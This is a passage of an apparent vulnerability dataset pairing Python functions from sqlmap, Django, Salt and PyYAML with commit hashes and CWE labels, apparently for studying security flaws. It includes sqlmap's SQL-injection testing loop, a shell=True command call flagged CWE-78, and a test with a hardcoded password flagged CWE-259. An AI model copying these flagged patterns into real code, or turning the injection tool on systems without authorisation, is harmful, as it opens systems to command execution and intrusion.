                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapSkipTargetException:
            pass

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException as ex:
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
                _saveToResultsFile()

                errMsg += "", skipping to the next target""
                logger.error(errMsg.lstrip("", ""))
            else:
                logger.critical(errMsg)
                return False

        finally:
            showHttpErrorCodes()

            if kb.maxConnectionsFlag:
                warnMsg = ""it appears that the target ""
                warnMsg += ""has a maximum connections ""
                warnMsg += ""constraint""
                logger.warning(warnMsg)

    if kb.dataOutputFlag and not conf.multipleTargets:
        logger.info(""fetched data logged to text files under '%s'"" % conf.outputPath)

    if conf.multipleTargets:
        if conf.resultsFile:
            infoMsg = ""you can find results of scanning in multiple targets ""
            infoMsg += ""mode inside the CSV file '%s'"" % conf.resultsFile
            logger.info(infoMsg)

    return True",CWE-78,sqlmapproject/sqlmap,d3bfe59401d0b756d4faf8093e732d7233358847,"def start():
    """"""
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """"""

    if conf.hashFile:
        crackHashFile(conf.hashFile)

    if conf.direct:
        initTargetEnv()
        setupTargetEnv()
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))

    if conf.configFile and not kb.targets:
        errMsg = ""you did not edit the configuration file properly, set ""
        errMsg += ""the target URL, list of targets or google dork""
        logger.error(errMsg)
        return False

    if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
        infoMsg = ""found a total of %d targets"" % len(kb.targets)
        logger.info(infoMsg)

    targetCount = 0
    initialHeaders = list(conf.httpHeaders)

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        targetCount += 1

        try:
            if conf.checkInternet:
                infoMsg = ""checking for Internet connection""
                logger.info(infoMsg)

                if not checkInternet():
                    warnMsg = ""[%s] [WARNING] no connection detected"" % time.strftime(""%X"")
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(conf.retries):
                        if checkInternet():
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(5)

                    if not valid:
                        errMsg = ""please check your Internet connection and rerun""
                        raise SqlmapConnectionException(errMsg)
                    else:
                        dataToStdout(""\n"")

            conf.url = targetUrl
            conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
            conf.data = targetData
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
            conf.httpHeaders.extend(targetHeaders or [])

            if conf.randomAgent or conf.mobile:
                for header, value in initialHeaders:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        conf.httpHeaders.append((header, value))
                        break

            if conf.data:
                # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
                conf.data = re.sub(r""\b(__\w+)=([^&]+)"", lambda match: ""%s=%s"" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)

            conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)):
                for parameter in re.findall(r""([^=]+)=([^%s]+%s?|\Z)"" % (re.escape(conf.paramDel or """") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or """") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = ""SQL injection vulnerability has already been detected ""
                    message += ""against '%s'. Do you want to skip "" % conf.hostname
                    message += ""further tests involving it? [Y/n]""

                    kb.skipVulnHost = readInput(message, default='Y', boolean=True)

                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = ""skipping '%s'"" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                if conf.forms and conf.method:
                    message = ""[%d/%s] Form:\n%s %s"" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl)
                else:
                    message = ""[%d/%s] URL:\n%s %s"" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', HTTPMETHOD.GET, targetUrl)

                if conf.cookie:
                    message += ""\nCookie: %s"" % conf.cookie

                if conf.data is not None:
                    message += ""\n%s data: %s"" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or """") if re.search(r""\A\s*[<{]"", conf.data or """") is None else conf.data)

                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find(""?"") == -1:
                        continue

                    message += ""\ndo you want to test this form? [Y/n/q] ""
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        continue
                    elif choice == 'Q':
                        break
                    else:
                        if conf.method != HTTPMETHOD.GET:
                            message = ""Edit %s data [default: %s]%s: "" % (conf.method, urlencode(conf.data or """") if re.search(r""\A\s*[<{]"", conf.data or ""None"") is None else conf.data, "" (Warning: blank fields detected)"" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else """")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data

                        else:
                            if '?' in targetUrl:
                                firstPart, secondPart = targetUrl.split('?', 1)
                                message = ""Edit GET data [default: %s]: "" % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = ""%s?%s"" % (firstPart, test)

                        parseTargetUrl()

                else:
                    if not conf.scope:
                        message += ""\ndo you want to test this URL? [Y/n/q]""
                        choice = readInput(message, default='Y').upper()

                        if choice == 'N':
                            dataToStdout(os.linesep)
                            continue
                        elif choice == 'Q':
                            break
                    else:
                        pass

                    infoMsg = ""testing URL '%s'"" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms):
                continue

            if conf.rParam and kb.originalPage:
                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])

                for match in re.finditer(r""(?si)<select[^>]+\bname\s*=\s*[\""']([^\""']+)(.+?)</select>"", kb.originalPage):
                    name, _ = match.groups()
                    options = tuple(re.findall(r""<option[^>]+\bvalue\s*=\s*[\""']([^\""']+)"", _))
                    if options:
                        kb.randomPool[name] = options

            checkWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = list(conf.parameters.keys())

                # Order of testing list (first to last)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
                    skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))

                    # --param-filter
                    skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))

                    skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))

                    if skip:
                        continue

                    if place not in conf.paramDict or place not in conf.parameters:
                        continue

                    paramDict = conf.paramDict[place]

                    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = ""skipping previously processed %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))):
                            pass

                        elif parameter in conf.rParam:
                            testSqlInj = False

                            infoMsg = ""skipping randomizing %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
                            testSqlInj = False

                            infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I):
                            testSqlInj = False

                            infoMsg = ""skipping anti-CSRF token parameter '%s'"" % parameter
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = ""ignoring %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = ""%sparameter '%s' does not appear to be dynamic"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.warning(warnMsg)

                                if conf.skipStatic:
                                    infoMsg = ""skipping static %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False
                            else:
                                infoMsg = ""%sparameter '%s' appears to be dynamic"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            try:
                                if place == PLACE.COOKIE:
                                    pushValue(kb.mergeCookies)
                                    kb.mergeCookies = False

                                check = heuristicCheckSqlInjection(place, parameter)

                                if check != HEURISTIC_TEST.POSITIVE:
                                    if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
                                        infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                        logger.info(infoMsg)
                                        continue

                                infoMsg = ""testing for SQL injection on %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.info(infoMsg)

                                injection = checkSqlInjection(place, parameter, value)
                                proceed = not kb.endDetection
                                injectable = False

                                if getattr(injection, ""place"", None) is not None:
                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
                                        kb.falsePositives.append(injection)
                                    else:
                                        injectable = True

                                        kb.injections.append(injection)

                                        if not kb.alerted:
                                            if conf.alert:
                                                infoMsg = ""executing alerting shell command(s) ('%s')"" % conf.alert
                                                logger.info(infoMsg)
                                                try:
                                                    process = subprocess.Popen(conf.alert, shell=True)
                                                    process.wait()
                                                except Exception as ex:
                                                    errMsg = ""error occurred while executing '%s' ('%s')"" % (conf.alert, getSafeExString(ex))
                                                    logger.error(errMsg)

                                            kb.alerted = True

                                        # In case when user wants to end detection phase (Ctrl+C)
                                        if not proceed:
                                            break

                                        msg = ""%sparameter '%s' "" % (""%s "" % injection.place if injection.place != injection.parameter else """", injection.parameter)
                                        msg += ""is vulnerable. Do you want to keep testing the others (if any)? [y/N] ""

                                        if not readInput(msg, default='N', boolean=True):
                                            proceed = False
                                            paramKey = (conf.hostname, conf.path, None, None)
                                            kb.testedParams.add(paramKey)

                                if not injectable:
                                    warnMsg = ""%sparameter '%s' does not seem to be injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                    logger.warning(warnMsg)

                            finally:
                                if place == PLACE.COOKIE:
                                    kb.mergeCookies = popValue()

            if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = ""no parameter(s) found for testing in the provided data ""
                    errMsg += ""(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')""
                    if kb.originalPage:
                        advice = []
                        if not conf.forms and re.search(r""<form"", kb.originalPage) is not None:
                            advice.append(""--forms"")
                        if not conf.crawlDepth and re.search(r""href=[\""']/?\w"", kb.originalPage) is not None:
                            advice.append(""--crawl=2"")
                        if advice:
                            errMsg += "". You are advised to rerun with '%s'"" % ' '.join(advice)
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = ""all tested parameters do not appear to be injectable.""

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += "" Try to increase values for '--level'/'--risk' options ""
                        errMsg += ""if you wish to perform more tests.""

                    if isinstance(conf.technique, list) and len(conf.technique) < 5:
                        errMsg += "" Rerun without providing the option '--technique'.""

                    if not conf.textOnly and kb.originalPage:
                        percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += "" You can give it a go with the switch '--text-only' ""
                            errMsg += ""if the target page has a low percentage ""
                            errMsg += ""of textual content (~%.2f%% of "" % percent
                            errMsg += ""page content is text).""
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += "" Please retry with the switch '--text-only' ""
                            errMsg += ""(along with --technique=BU) as this case ""
                            errMsg += ""looks like a perfect candidate ""
                            errMsg += ""(low textual content along with inability ""
                            errMsg += ""of comparison engine to detect at least ""
                            errMsg += ""one dynamic parameter).""

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += "" As heuristic test turned out positive you are ""
                        errMsg += ""strongly advised to continue on with the tests.""

                    if conf.string:
                        errMsg += "" Also, you can try to rerun by providing a ""
                        errMsg += ""valid value for option '--string' as perhaps the string you ""
                        errMsg += ""have chosen does not match ""
                        errMsg += ""exclusively True responses.""
                    elif conf.regexp:
                        errMsg += "" Also, you can try to rerun by providing a ""
                        errMsg += ""valid value for option '--regexp' as perhaps the regular ""
                        errMsg += ""expression that you have chosen ""
                        errMsg += ""does not match exclusively True responses.""

                    if not conf.tamper:
                        errMsg += "" If you suspect that there is some kind of protection mechanism ""
                        errMsg += ""involved (e.g. WAF) maybe you could try to use ""
                        errMsg += ""option '--tamper' (e.g. '--tamper=space2comment')""

                        if not conf.randomAgent:
                            errMsg += "" and/or switch '--random-agent'""

                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = ""do you want to exploit this SQL injection? [Y/n] ""
                    condition = readInput(message, default='Y', boolean=True)
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
                kb.multipleCtrlC = True
                raise SqlmapUserQuitException(""user aborted (Ctrl+C was pressed multiple times)"")

            kb.lastCtrlCTime = time.time()

            if conf.multipleTargets:
                warnMsg = ""user aborted in multiple target mode""
                logger.warning(warnMsg)

                message = ""do you want to skip to the next target in list? [Y/n/q]""
                choice = readInput(message, default='Y').upper()

                if choice == 'N':
                    return False
                elif choice == 'Q':
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapSkipTargetException:
            pass

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException as ex:
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
                _saveToResultsFile()

                errMsg += "", skipping to the next target""
                logger.error(errMsg.lstrip("", ""))
            else:
                logger.critical(errMsg)
                return False

        finally:
            showHttpErrorCodes()

            if kb.maxConnectionsFlag:
                warnMsg = ""it appears that the target ""
                warnMsg += ""has a maximum connections ""
                warnMsg += ""constraint""
                logger.warning(warnMsg)

    if kb.dataOutputFlag and not conf.multipleTargets:
        logger.info(""fetched data logged to text files under '%s'"" % conf.outputPath)

    if conf.multipleTargets:
        if conf.resultsFile:
            infoMsg = ""you can find results of scanning in multiple targets ""
            infoMsg += ""mode inside the CSV file '%s'"" % conf.resultsFile
            logger.info(infoMsg)

    return True"
,UNKNOWN,UNKNOWN,tests/admin_inlines/tests.py,1,"def test_inlines_verbose_name(self):
        """"""
        The item added by the ""Add another XXX"" link must use the correct
        verbose_name in the inline form.
        """"""
        from selenium.webdriver.common.by import By

        self.admin_login(username=""super"", password=""secret"")
        # Hide sidebar.
        self.selenium.get(
            self.live_server_url + reverse(""admin:admin_inlines_course_add"")
        )
        toggle_button = self.selenium.find_element(
            By.CSS_SELECTOR, ""#toggle-nav-sidebar""
        )
        toggle_button.click()
        # Each combination of horizontal/vertical filter with stacked/tabular
        # inlines.
        tests = [
            ""admin:admin_inlines_course_add"",
            ""admin:admin_inlines_courseproxy_add"",
            ""admin:admin_inlines_courseproxy1_add"",
            ""admin:admin_inlines_courseproxy2_add"",
        ]
        css_available_selector = (
            "".dynamic-class_set#class_set-%s .selector-available-title""
        )
        css_chosen_selector = "".dynamic-class_set#class_set-%s .selector-chosen-title""

        for url_name in tests:
            with self.subTest(url=url_name):
                self.selenium.get(self.live_server_url + reverse(url_name))
                # First inline shows the verbose_name.
                available = self.selenium.find_element(
                    By.CSS_SELECTOR, css_available_selector % 0
                )
                chosen = self.selenium.find_element(
                    By.CSS_SELECTOR, css_chosen_selector % 0
                )
                self.assertIn(""Available attendant"", available.text)
                self.assertIn(""Chosen attendant"", chosen.text)
                # Added inline should also have the correct verbose_name.
                self.selenium.find_element(By.LINK_TEXT, ""Add another Class"").click()
                available = self.selenium.find_element(
                    By.CSS_SELECTOR, css_available_selector % 1
                )
                chosen = self.selenium.find_element(
                    By.CSS_SELECTOR, css_chosen_selector % 1
                )
                self.assertIn(""Available attendant"", available.text)
                self.assertIn(""Chosen attendant"", chosen.text)
                # Third inline should also have the correct verbose_name.
                self.selenium.find_element(By.LINK_TEXT, ""Add another Class"").click()
                available = self.selenium.find_element(
                    By.CSS_SELECTOR, css_available_selector % 2
                )
                chosen = self.selenium.find_element(
                    By.CSS_SELECTOR, css_chosen_selector % 2
                )
                self.assertIn(""Available attendant"", available.text)
                self.assertIn(""Chosen attendant"", chosen.text)",CWE-259,django/django,857b1048d53ebf5fc5581c110e85c212b81ca83a,"def test_inlines_verbose_name(self):
        """"""
        The item added by the ""Add another XXX"" link must use the correct
        verbose_name in the inline form.
        """"""
        from selenium.webdriver.common.by import By

        self.admin_login(username=""super"", password=""secret"")
        # Hide sidebar.
        self.selenium.get(
            self.live_server_url + reverse(""admin:admin_inlines_course_add"")
        )
        toggle_button = self.selenium.find_element(
            By.CSS_SELECTOR, ""#toggle-nav-sidebar""
        )
        toggle_button.click()
        # Each combination of horizontal/vertical filter with stacked/tabular
        # inlines.
        tests = [
            ""admin:admin_inlines_course_add"",
            ""admin:admin_inlines_courseproxy_add"",
            ""admin:admin_inlines_courseproxy1_add"",
            ""admin:admin_inlines_courseproxy2_add"",
        ]
        css_selector = "".dynamic-class_set#class_set-%s h2""

        for url_name in tests:
            with self.subTest(url=url_name):
                self.selenium.get(self.live_server_url + reverse(url_name))
                # First inline shows the verbose_name.
                available, chosen = self.selenium.find_elements(
                    By.CSS_SELECTOR, css_selector % 0
                )
                self.assertEqual(available.text, ""AVAILABLE ATTENDANT"")
                self.assertEqual(chosen.text, ""CHOSEN ATTENDANT"")
                # Added inline should also have the correct verbose_name.
                self.selenium.find_element(By.LINK_TEXT, ""Add another Class"").click()
                available, chosen = self.selenium.find_elements(
                    By.CSS_SELECTOR, css_selector % 1
                )
                self.assertEqual(available.text, ""AVAILABLE ATTENDANT"")
                self.assertEqual(chosen.text, ""CHOSEN ATTENDANT"")
                # Third inline should also have the correct verbose_name.
                self.selenium.find_element(By.LINK_TEXT, ""Add another Class"").click()
                available, chosen = self.selenium.find_elements(
                    By.CSS_SELECTOR, css_selector % 2
                )
                self.assertEqual(available.text, ""AVAILABLE ATTENDANT"")
                self.assertEqual(chosen.text, ""CHOSEN ATTENDANT"")"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/ini_manage.py,0,"def flush(self):
        try:
            with salt.utils.files.fopen(self.name, 'wb') as outfile:
                ini_gen = self.gen_ini()
                next(ini_gen)
                ini_gen_list = list(ini_gen)
                # Avoid writing an initial line separator.
                if ini_gen_list:
                    ini_gen_list[0] = ini_gen_list[0].lstrip(os.linesep)
                outfile.writelines(salt.utils.data.encode(ini_gen_list))
        except (OSError, IOError) as exc:
            raise CommandExecutionError(
                ""Unable to write file '{0}'. ""
                ""Exception: {1}"".format(self.name, exc)
            )",,saltstack/salt,d31ec218146e1c891d8b5dcbbc03b3595e47522d,"def flush(self):
        try:
            with salt.utils.files.fopen(self.name, 'wb') as outfile:
                ini_gen = self.gen_ini()
                next(ini_gen)
                ini_gen_list = list(ini_gen)
                # Avoid writing an initial line separator.
                if len(ini_gen_list):
                    ini_gen_list[0] = ini_gen_list[0].lstrip(os.linesep)
                outfile.writelines(salt.utils.data.encode(ini_gen_list))
        except (OSError, IOError) as exc:
            raise CommandExecutionError(
                ""Unable to write file '{0}'. ""
                ""Exception: {1}"".format(self.name, exc)
            )"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib3/yaml/emitter.py,0,"def prepare_tag(self, tag):
        if not tag:
            raise EmitterError(""tag must not be empty"")
        if tag == '!':
            return tag
        handle = None
        suffix = tag
        prefixes = sorted(self.tag_prefixes.keys())
        for prefix in prefixes:
            if tag.startswith(prefix)   \
                    and (prefix == '!' or len(prefix) < len(tag)):
                handle = self.tag_prefixes[prefix]
                suffix = tag[len(prefix):]
        chunks = []
        start = end = 0
        while end < len(suffix):
            ch = suffix[end]
            if '0' <= ch <= '9' or 'A' <= ch <= 'Z' or 'a' <= ch <= 'z' \
                    or ch in '-;/?:@&=+$,_.~*\'()[]'   \
                    or (ch == '!' and handle != '!'):
                end += 1
            else:
                if start < end:
                    chunks.append(suffix[start:end])
                start = end = end+1
                data = ch.encode('utf-8')
                for ch in data:
                    chunks.append('%%%02X' % ord(ch))
        if start < end:
            chunks.append(suffix[start:end])
        suffix_text = ''.join(chunks)
        if handle:
            return '%s%s' % (handle, suffix_text)
        else:
            return '!<%s>' % suffix_text",,yaml/pyyaml,b8b826f1caecedd7afcea9e48abbc9b59c32c713,"def prepare_tag(self, tag):
        if not tag:
            raise EmitterError(""tag must not be empty"")
        if tag == '!':
            return tag
        handle = None
        suffix = tag
        prefixes = self.tag_prefixes.keys()
        prefixes.sort()
        for prefix in prefixes:
            if tag.startswith(prefix)   \
                    and (prefix == '!' or len(prefix) < len(tag)):
                handle = self.tag_prefixes[prefix]
                suffix = tag[len(prefix):]
        chunks = []
        start = end = 0
        while end < len(suffix):
            ch = suffix[end]
            if '0' <= ch <= '9' or 'A' <= ch <= 'Z' or 'a' <= ch <= 'z' \
                    or ch in '-;/?:@&=+$,_.~*\'()[]'   \
                    or (ch == '!' and handle != '!'):
                end += 1
            else:
                if start < end:
                    chunks.append(suffix[start:end])
                start = end = end+1
                data = ch.encode('utf-8')
                for ch in data:
                    chunks.append('%%%02X' % ord(ch))
        if start < end:
            chunks.append(suffix[start:end])
        suffix_text = ''.join(chunks)
        if handle:
            return '%s%s' % (handle, suffix_text)
        else:
            return '!<%s>' % suffix_text"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/basic.py,0,"def decodePage(page, contentEncoding, contentType, percentDecode=True):
    """"""
    Decode compressed/charset HTTP response

    >>> getText(decodePage(b""<html>foo&amp;bar</html>"", None, ""text/html; charset=utf-8""))
    '<html>foo&bar</html>'
    """"""

    if not page or (conf.nullConnection and len(page) < 2):
        return getUnicode(page)

    if hasattr(contentEncoding, ""lower""):
        contentEncoding = contentEncoding.lower()
    else:
        contentEncoding = """"

    if hasattr(contentType, ""lower""):
        contentType = contentType.lower()
    else:
        contentType = """"

    if contentEncoding in (""gzip"", ""x-gzip"", ""deflate""):
        if not kb.pageCompress:
            return None

        try:
            if contentEncoding == ""deflate"":
                data = io.BytesIO(zlib.decompress(page, -15))  # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
            else:
                data = gzip.GzipFile("""", ""rb"", 9, io.BytesIO(page))
                size = struct.unpack(""<l"", page[-4:])[0]  # Reference: http://pydoc.org/get.cgi/usr/local/lib/python2.5/gzip.py
                if size > MAX_CONNECTION_TOTAL_SIZE:
                    raise Exception(""size too large"")

            page = data.read()
        except Exception as ex:
            if b""<html"" not in page:  # in some cases, invalid ""Content-Encoding"" appears for plain HTML (should be ignored)
                errMsg = ""detected invalid data for declared content ""
                errMsg += ""encoding '%s' ('%s')"" % (contentEncoding, getSafeExString(ex))
                singleTimeLogMessage(errMsg, logging.ERROR)

                warnMsg = ""turning off page compression""
                singleTimeWarnMessage(warnMsg)

                kb.pageCompress = False
                raise SqlmapCompressionException

    if not conf.encoding:
        httpCharset, metaCharset = None, None

        # Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
        if contentType.find(""charset="") != -1:
            httpCharset = checkCharEncoding(contentType.split(""charset="")[-1])

        metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page))

        if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset))) or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
            kb.pageEncoding = httpCharset or metaCharset  # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
            debugMsg = ""declared web page charset '%s'"" % kb.pageEncoding
            singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
        else:
            kb.pageEncoding = None
    else:
        kb.pageEncoding = conf.encoding

    # can't do for all responses because we need to support binary files too
    if isinstance(page, six.binary_type) and ""text/"" in contentType:
        if not kb.disableHtmlDecoding:
            # e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
            if b""&#"" in page:
                page = re.sub(b""&#x([0-9a-f]{1,2});"", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else ""0%s"" % _.group(1)), page)
                page = re.sub(b""&#(\\d{1,3});"", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)

            # e.g. %20%28%29
            if percentDecode:
                if b""%"" in page:
                    page = re.sub(b""%([0-9a-f]{2})"", lambda _: decodeHex(_.group(1)), page)
                    page = re.sub(b""%([0-9A-F]{2})"", lambda _: decodeHex(_.group(1)), page)     # Note: %DeepSee_SQL in CACHE

            # e.g. &amp;
            page = re.sub(b""&([^;]+);"", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)

            kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))

            if (kb.pageEncoding or """").lower() == ""utf-8-sig"":
                kb.pageEncoding = ""utf-8""
                if page and page.startswith(b""\xef\xbb\xbf""):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when ""utf-8-sig"" is left to Python for handling)
                    page = page[3:]

            page = getUnicode(page, kb.pageEncoding)

            # e.g. &#8217;&#8230;&#8482;
            if ""&#"" in page:
                def _(match):
                    retVal = match.group(0)
                    try:
                        retVal = _unichr(int(match.group(1)))
                    except (ValueError, OverflowError):
                        pass
                    return retVal
                page = re.sub(r""&#(\d+);"", _, page)

            # e.g. &zeta;
            page = re.sub(r""&([^;]+);"", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
        else:
            page = getUnicode(page, kb.pageEncoding)

    return page",,sqlmapproject/sqlmap,f84ec1072be73bde88ebebab2fb8eef612ce9d7c,"def decodePage(page, contentEncoding, contentType, percentDecode=True):
    """"""
    Decode compressed/charset HTTP response

    >>> getText(decodePage(b""<html>foo&amp;bar</html>"", None, ""text/html; charset=utf-8""))
